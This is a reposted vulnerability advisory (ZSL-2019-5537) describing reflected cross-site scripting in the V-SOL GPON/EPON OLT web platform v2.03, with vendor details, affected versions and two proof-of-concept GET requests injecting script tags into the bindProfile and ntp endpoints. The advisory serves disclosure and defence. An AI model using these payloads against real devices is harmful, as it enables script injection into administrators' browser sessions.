# V-SOL GPON/EPON OLT Platform 2.03 Cross Site Scripting

**2019.09.30**

Credit: **LiquidWorm (https://cxsecurity.com/author/LiquidWorm/1/)**

Risk: **Low**

Local: **No**

Remote: **Yes**

CVE: **N/A**

CWE: **CWE-79 (https://cxsecurity.com/cwe/CWE-79)**

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V-SOL GPON/EPON OLT Platform v2.03 Reflected XSS Vulnerability


Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.
Product web page: https://www.vsolcn.com
Affected version: V2.03.62R_IPv6
                  V2.03.54R
                  V2.03.52R
                  V2.03.49
                  V2.03.47
                  V2.03.40
                  V2.03.26
                  V2.03.24
                  V1.8.6
                  V1.4

Summary: GPON is currently the leading FTTH standard in broadband
access
technology being widely deployed by service providers around the w
orld.
GPON/EPON OLT products are 1U height 19 inch rack mount products.
The
features of the OLT are small, convenient, flexible, easy to deplo
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y, high
performance. It is appropriate to be deployed in compact room envi
ronment.
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise
LAN and
ICT applications.

Desc: The application is prone to multiple reflected cross-site sc
ripting
vulnerabilities due to a failure to properly sanitize user-supplie
d input
to several parameters that are handled by various scripts. Attacke
rs can
exploit this issue to execute arbitrary HTML and script code in a
user's
browser session.

Tested on: GoAhead-Webs


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5537
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-20
19-5537.php

25.09.2019

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GET /action/bindProfile.html?parent="><script>confirm(251)</script
>&gponid=2&gonuid=7
GET /action/ntp.html?sntp_en=1&time_zone=05%3A30&sntp_server="><sc
ript>confirm(251)</script>&who=0
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2019090194)

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